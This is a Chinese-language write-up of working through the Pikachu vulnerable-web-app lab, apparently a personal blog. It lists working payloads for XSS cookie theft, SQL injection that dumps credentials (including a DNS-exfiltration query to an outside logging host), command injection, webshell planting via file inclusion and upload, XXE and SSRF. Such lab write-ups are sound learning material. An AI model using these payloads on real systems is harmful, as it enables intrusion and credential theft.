pikachu通关
版权申明:本文为原创文章,转载请注明原文出处
pikachu通关
总耗时:两天
常见漏洞学习:PHP一些常见的漏洞梳理-腾讯云开发者社区-腾讯云 (tencent.com)
pikachu通关
暴力破解
基于表单的暴力破解
lz随便试了下admin+123456就顺利通过了
验证码绕过(On server)
利用burpsuite抓包,通过测试发现看到多次repeat相同的vcode也可以,说明验证码不是一次性
还是可以用上面基于表单的暴力破解方式
验证码绕过(On Client)
由于是前端验证,所以只有在浏览器访问时验证码填错会有提示,导致用户密码无法传到后端

但是用repeater发送我们构造的请求包时省去了前端验证这一阶段,直接向后端发送数据,就算不用验证码也可以正确返回,如图所示,并不是验证码输入错误,或者没有输入

token防爆破
同一个token发送两次效果如下

通过分析网站源代码可以看到该token出现在前端html文件上,爆破时添加上该value值作为传递的token

顺便学习burp四种爆破方式
Sinper(狙击手)
sinper使用一个字典,主要是将标记的数据进行逐个遍历替换 爆破次数=标记字段数*字典字段数
Battering ram(攻城槌):
Battering ram使用一个字典,将包内所有标记的数据进行同时替换再发出,也就是每次爆破每个要爆破的地方的值都会是一样,因为是同时向后更新 爆破次数=字典字段数量
Pitchfork(干草叉):
Pitchfork对每个标记字段单独设置字典,按照一一对应的关系取最少的组合,和Batter类似,但是会为每一个标记字段单独设置字典 爆破次数=最少的字段字段数
Cluster bomb(集束炸弹):
Cluster bomb使用穷举法,对每个标记字段都遍历字典,和pitchFork一样为每一个标记字段单独设置字典,并用穷举更新而不是一起往后移动
爆破次数=每个字典数量的乘积
这里我采用Cluster bomb爆破方式,并选取三个标记点,通过测试发现集束炸弹不行,的用pitchFork才能正确匹配,可能是Grep - Extract可用于将响应中的有用信息提取到攻击结果表中。对于列表中配置的每个项,burp将添加一个新的results列,其中包含为该项提取的文本。但是由于该方式是进行穷举推荐,所以没办法进行一一匹配

添加该字段作为token

username,password,token添加方式如下



如图所示,成功爆破

跨站脚本攻击
反射型xss(get)
通过测试发现输入有长度限制,应该是前端做了限制,通过查看源代码检查

传到burp的重放窗口即可

将我们要传入的参数构造成url

反射型xss(post)
在构造语句上写上我们构造的xss漏洞即可,登陆之后会这样显示


存储型xss
留言什么下面就会显示什么,就将我们构造好的xss语句留言到下面,就会弹出cookie


DOM型xss
我们输入什么下面的what do you see会帮我们构造一个我们输入的内容的链接


查看前端逻辑,这儿是将text作为url,但是这里的str是有我们输入的,我们可以想办法使得该处能执行我们构造的xss恶意代码

我们构造语句使得href闭合,并构造出了onclick的命令,使得点击该按钮会弹出cookie,效果如图所示


DOM型xss-x
一样的构造方式

xss之盲打
插入xss登陆后台弹出了cookie(奇奇怪怪)

xss之过滤
如图所示,明显的过滤掉了后面的所有内容

通过多次测试发现<script>被过滤掉了,搜索之后发现了
绕过 <SCRIPT>过滤
有些过滤器会过滤到<script>标签,那上面的例子就都废了,但是还是有方法插入
javascript 的。我 们看看事件处理器的例子。
1 | <BODY onload="alert('XSS')"> |
在 html 里啊。这个 Onload 关键字就是一个事件,其他的所有标签都没有这个属性,但是 Body 标签是 有的。但是,有一定的局限性,如果 onload 事件在你的代码之前已经被处理了。那就不会触发了
如图所示,再次成功获取到cookie

xss之htmlspecialchars
如图所示,我们输入的内容会被放入href中,所以采取的方式是将href进行闭合然后增加onclick函数功能执行xss恶意代码,构造效果如下图所示


同样的构造方式发现单引号没办法使href闭合

这里通过学习发现要用js伪协议
JavaScript伪协议是什么?
伪协议不同于因特网上所真实存在的协议,如http://,https://,ftp://,
而是为关联应用程序而使用的.如:tencent://(关联QQ),data:(用base64编码来在浏览器端输出二进制文件),还有就是javascript:
我们可以在浏览地址栏里输入"javascript:alert(‘JS!’);",点转到后会发现,实际上是把javascript:后面的代码当JavaScript来执行,并将结果值返回给当前页面。
通俗地讲,JavaScript伪协议不是真实存在的协议,它的功能是将JavaScript:后面的语句当做JavaScript代码在本页面执行,并不跳转到其他网页,而是结果返回给当前页面,相当于一个伪造的超链接,它经常与a标签一起使用,如:
1 | <a href=javascript:alert(/xss/) > 点击我</a> |
功能是在当前页面弹出一个弹窗
如图所示,通过构造javascript伪协议成功获取了cookie

xss之js输出
查看源代码发现我们输入的内容直接就在前端的script里面,所以我们只需要添加好我们要构造的xss之后闭合,构造内容为
1 | nba';alert(document.cookie);$ms='tmac |



XSS防范
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
CRSF
CRSF(get)
将修改个人信息的请求包通过burpsuite生成POC(一个HTML页面),就是这个html相当于已经将所有修改的信息已经构造好了,只需要用户点击按钮就可以了,如下图所示是生成的html代码

按理说要将这个文件上传看到效果,但是该任务没有上传文件的接口,所以我尝试将构造的html放在源码中,如下图更改成功了


CRSF(post)
一样的方式构造,如图所示


CRSF(Token)
还是先用burpsuite抓包,可以看到这次虽然还是get的请求包但是请求头的参数多了token

无法进行crsf攻击,因为每次的token都是一次性生成的,当每次提交表单时,这个Token值就会传到后台与SESSION中的Token进行比较,若不相等,此次表单则提交失败。所以黑客由于不能得知用户当前的Token值,从而无法进行CSRF攻击。
CSRF防范
- 对敏感信息的操作增加安全的token;
- 对敏感信息的操作增加安全的验证码;
- 对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。
SQL-Inject
数字型注入(post)
可以看到是通过单选框选择的id,所以用burpsuite抓包测试,通过检验发现是数字型

构造如下代码获取返回数据的长度,数据库,表,数据


字符型注入(POST)
该板块和数字型区别就是该板块需要闭合单引号,并且对后面添加注释,构造语句如下
1 | -1' union select group_concat(username),group_concat(password) from users where id=1 or id =2# |
结果如下

搜索型注入
模糊查询的语句一般如下
1 | select username from user where username like '%{$username}%'; |
所以需要将%闭合才能执行我们的查询
爆破查询
1 | -1%' union select 1,2,concat_ws('-',username,password) from users # |

1 | 这段 SQL 查询的含义是从名为 users 的表中选择三列数据,并在第三列中使用 CONCAT_WS 函数连接 username 列和 password 列,并使用横杠 - 作为分隔符。这是一种常见的方式,用于在 SQL 注入攻击中尝试获取用户凭证信息的测试。 |
xx型注入
尝试字符型报错如下,1"是我们构造的,

猜测sql查询语句如下
1 | select username from user where username=('$name'); |
构造语句如下
1 | 1') union select concat_ws('-',username, password),2 from users # |
结果

"insert/update"注入
insert
首先构造如下:flower','123','123','123','123','123')#
发现提示注册成功,说明对应的sql语句应该是
$query="insert into ember(username,pw,sex,phonenum,email,address) values('$username','$password','$sex','$phonenum','$email','add')";
但是注册成功并不会显示什么,就算我们在这里构造了select语句也没办法看到返回,但是当我们构造的语句使得sql语句无法执行时会出现报错

所以只能考虑将我们要输出的内容输出到报错中,使用报错注入,可以使用
updatexml
updatexml()构造如下sql语句
1 | flower','123','123','123','123','123' and updatexml(1,concat('~',database()),1)) # |
疑惑点:
为什么这样可以返回数据库:
select count(*) from users group by floor(rand(0)*2) and updatexml(1,concat('~',database()),1),但是这样不行:updatexml(1,concat('~',database()),1)原因:updatexml只是一个函数,不能直接当作sql语句使用,也就是相当于floor(rand(0)*2)不能当作一个sql语句执行
为什么该处不能使用以下sql语句:
flower','123','123','123','123','123' )and updatexml(1,concat('~',database()),1)#原因:正确的sql语句的含义是在insert中调用了updatexml函数,返回报错,但是下面的sql语句将上面的sql语句闭合之后再and一个表达式,首先insert不能and,并且updatexml只是一个函数,只能调用,不能当作sql语句
最后构造出的sql语句为:
1 | flower','123','123','123','123','123' and updatexml(1,concat('~',(select group_concat(concat_ws("-",username,password)) from users)),1)) # |
如图是返回结果,但是似乎返回结果有长度限制,只能看到admin的用户名和密码

extractvalue
类似的还有extractvalue()函数,构造如下sql语句
1 | flower','123','123','123','123','123' and extractvalue(1,concat('~',(select group_concat(concat_ws("-",username,password)) from users)))) # |
floor
构造如下sql语句
1 | flower','123','123','123','123','123' and (select count(*) from information_schema.tables group by concat('~',database(),'~',floor(rand(0)*2))))# |
database()就是我们可以构造的payload
最后构造如下
1 | flower','123','123','123','123','123' and (select count(*) from information_schema.tables group by concat('~',(select group_concat(concat_ws("-",username,password)) from users),'~',floor(rand(0)*2))))# |

update
通过测试修改信息界面构造如下payload可以成功修改信息:
1 | 12',phonenum='1',address='1',email='1' where id=2# |
猜测查询的sql语句应该是将输入的各参数进行拼接,最后加上where语句,还是一样的方式,再语句中使用我们的报错注入
updatexml
1 | 12',phonenum='1',address='1',email='1' where id=2 and updatexml(1,concat("~",database(),"~"),1)# |
成功返回

如图所示,构造以下sql语句获取用户名和密码
1 | 12',phonenum='1',address='1',email='1' where id=2 and updatexml(1,concat("~",(select group_concat(concat_ws("-",username,password)) from users),"~"),1)# |

extractvalue
构造如下sql语句
1 | 12',phonenum='1',address='1',email='1' where id=2 and extractvalue(1,concat("~",(select group_concat(concat_ws("-",username,password)) from users),"~"))# |

floor
构造如下sql语句
1 | 12',phonenum='1',address='1',email='1' where id=2 and (select count(*) from information_schema.tables group by concat((select group_concat(concat_ws("-",username,password)) from users),floor(rand(0)*2)))# |

delete注入
通过测试,可以提交两份相同内容的留言板,但是删除的时候只会删除选中的,相同的内容不会被删除,说明不是通过内容删除帖子,猜测是通过id,同时尝试上传帖子内容:真好')#,发现删除还是很正常,说明应该没有通过内容查找id
查看前端代码,发现删除按钮绑定了一个url,包含了id的信息,说明是通过id删除的内容
猜测删除的语句为
1 | delete from xxx where id = '$id' |
所以我们可以通过构造url传id,将id构造成能返回私密信息的payload
流程就是判断是否是字符型,通过实验发现通过报错注入可以成功,将构造好的报错注入sql语句通过url编码之后放到id后面,然后构造sql语句如下
1 | id=63%20and%20updatexml(1%2Cconcat(%27%2d%27%2C(select%20group_concat(password)%20from%20users))%2C1) |
如图所示,获取成功

"http header"注入
如图所示是输入用户名密码之后的界面,说明前端在发送请求包给后端的时候,后端会获取前端请求头中的这些信息,并显示在界面上,猜测应该是获取到数据之后存在了数据库中,所以我们可以通过构造后端获取的参数的payload,使得后端能够执行我们所要执行的代码

此处选择更改user agent,应该是获取之后insert到表中,但是不知道具体顺序,所以我们还是采取报错查询
构造user agent如下,但是用注释符一直报错,查看源码,如图所示,后面应该用括号闭合
1 | 1' and updatexml(1, concat(0x7e, (select group_concat(concat_ws('-',username,password)) from users ),0x7e), 1),1,1 )# |
这里有点小坑,发现能报错注入之后,尝试获取数据库名称发现很好获取,但是获取用户名密码显示userid不符合格式,通过查看源码发现userid只有在验证用户登录之后才会正确赋值,所以在构造payload之前需要先设置好cookie为登录态

盲注(base on boolian)
盲注可以在and后面添加判断条件,首先判断数据库名长度,然后是每个字符是什么
此处采用sqlmap工具进行盲注,但是通过测试发现该方法并不行,尝试写脚本解决(待做)
1 | #查询数据库【pikachu】 |
除了sqlmap,通过学习,发现可以通过dnslog注入,构造语句如下
1 | allen' and if((select load_file(concat('//',(select database()),'.38rbm5.ceye.io'))),1,0);# |
能发现发起了请求,但是没看到database内容

应该是mysql设置的问题,dnslog注入要求数据库有读写权限即:secure_file_priv=“”
宽字节注入
通过测试发现输入allen' #还是显示没有此人,应该是引号被转义了,所以我们构造宽字节,使得后端为了是我们引号转义添加的%df两个字节通过编码构成一个整的汉字,从而使得引号不被转义,构造如下
1 | allen%df' union select 1,group_concat(username,0x3a,password) from users |
如图获取了用户名和密码

RCE
exec "ping"
该漏洞即为ping的时候直接将输入的ip地址拼接到ping后面没有进行过滤,导致后面可以拼接其他命令,直接输入以下内容即可输出当前目录
1 | 127.0.0.1 && dir |

exec "eval"
如图所示为源码的内容,如果输入的字符无法被执行就输出下面的文本内容

所以输入的字符只要是能执行就可以被成功执行,比如输入:system("dir");,如图所示是执行结果

File Inclusion
File Inclusion(local)
通过burp抓取点击提交时的请求包,通过以下两份内容可以得知后端根据传递回来的文件名找取对应的运动员的简介和照片


通过加引号可以获取上一目录

File inclusion(remote)
该漏洞是由于include在包含一个文件的时候,如果该文件的内容是php格式的,即使文件后缀是txt,也会当作php执行,我们可以构造一个txt文件,文件内容是在当前目录下生成一个一句话木马的文件,使得后端在include这个文件之后能够字典在当前目录下生成一个一句话木马
该txt文件作者已经帮我们构造好了

通过将这段url传递给include里的内容便可生成一个一句话木马的php文件,如图所示,系统自动帮我们清除掉了,但是这个一句话木马应该是能生效的


Unsafe Filedownload
Unsafe Filedownload
如图所示,成功获取到我们想获取的文件内容

Unsafe Fileupload
client check
如图所示是在前端检验,先将php文件更改为png文件,然后在传包的时候再更改为php文件,直接用burp发送请求包即可


如图所示,系统又自动给我删了,说明上传成功了,重新上传了phpInfo,如图所示,能正常展示


MIME type
还是用上述一样的方式还是可以绕过
getimagesize()
该函数会在后端对上传的文件名的后缀进行检查,只能是规定之内的,该漏洞的利用要和前面的文件包含漏洞一起使用,也就是构造图片木马,将图片和一句话木马合并成一个图片,然后将该图片上传到服务器上,再通过文件包含漏洞包含该文件,就可以执行我们的一句话木马,攻击就能成功
将我们构造的图片木马进行上传,通过测试,如果文件就是由php文件更改后缀名上传的仍然会被检测出来,所以需要用真实的照片和文件进行合并上传,然后通过文件包含漏洞包含该文件,如图是攻击过程


Over Permission
水平越权
在登录之后查看个人信息的url使用了get请求,只发送了username,可以通过更改username就可以查看其他人的信息,如图所示,即使当前登录者是lili,还是可以通过更改username修改信息

垂直越权
如图所示是admin删除人时的url,尝试通过普通用户访问该url

访问前访问后没有区别,说明后端应该在删除人时设置了权限识别,查看后端源代码果然在删除时检查了session


但是通过查看源代码发现增加信息是没有检查session的,说明增加人的信息是可以通过普通权限做的
../../
目录遍历
还是构造访问刚才的图片木马

敏感信息泄露
IcanseeyourABC
用户信息出现在前端源代码中

PHP反序列化
PHP反序列化漏洞
查看源代码可以看到,将输入的php反序列化之后会输出变量test的内容,我们可以构造test内容为敏感信息,这样就能获取用户的敏感信息
构造如下:
1 | O:1:"S":1:{s:4:"test";s:39:"<script>alert(document.cookie)</script>";} |

XXE
XXE漏洞
漏洞原理应该就是构造xml上传到服务器使得服务器解析之后执行返回结果,漏洞原理就是通过外部引用,访问服务器内部文件,并显示在前端界面,如下面所示,外部引用中外部DTD的URI可以是服务器敏感文件的目录,就可以敏感文件的信息赋值给我们的根元素
1 | ① 内部申明DTD格式 |
比如此处可以使用如下构造方式
1 | <?xml version="1.0" encoding="UTF-8"?> |
便获取到了文件内容

URL重定向
不安全的URL跳转
url重定向导致钓鱼,就是设置一个按钮,该按钮链接到钓鱼网站
SSRF
SSRF(curl)
如图所示,再url后面可以跟上我们上传的恶意文件并执行,我访问了一个上传的php文件,成功执行

PHP支持的由Daniel Stenberg创建的libcurl库允许你与各种的服务器使用各种类型的协议进行连接和通讯。
libcurl目前支持http、https、ftp、gopher、telnet、dict、file和ldap协议。libcurl同时也支持HTTPS认证、HTTP POST、HTTP PUT、 FTP 上传(这个也能通过PHP的FTP扩展完成)、HTTP 基于表单的上传、代理、cookies和用户名+密码的认证。
curl函数参考:https://www.runoob.com/php/php-ref-curl.html
1 | //file协议读取 |
| file协议 | http/https协议 | 端口 |
|---|---|---|
![]() |
![]() |
![]() |
源码分析
1 | if(isset($_GET['url']) && $_GET['url'] != null){ |
前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端,并且没做任何过滤或限制。从而导致了用户可能可以通过这个漏洞进行一些内网服务探测等等
SSRF(file_get_content)
一样的构造方法

file_get_contents() 把整个文件读入一个字符串中。该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。
函数语法: file_get_contents(path,include_path,context,start,max_length)
| 参数 | 描述 |
|---|---|
| path | 必需。规定要读取的文件。 |
| include_path | 可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 ‘1’。 |
| context | 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 NULL,则忽略。 |
| start | 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 中新增的。 |
| max_length | 可选。规定读取的字节数。该参数是 PHP 5.1 中新增的。 |
1 | //file协议读取 |
源码分析
1 | if(isset($_GET['file']) && $_GET['file'] !=null){ |
直接访问获取到的文件
install_url to use ShareThis. Please set it in _config.yml.






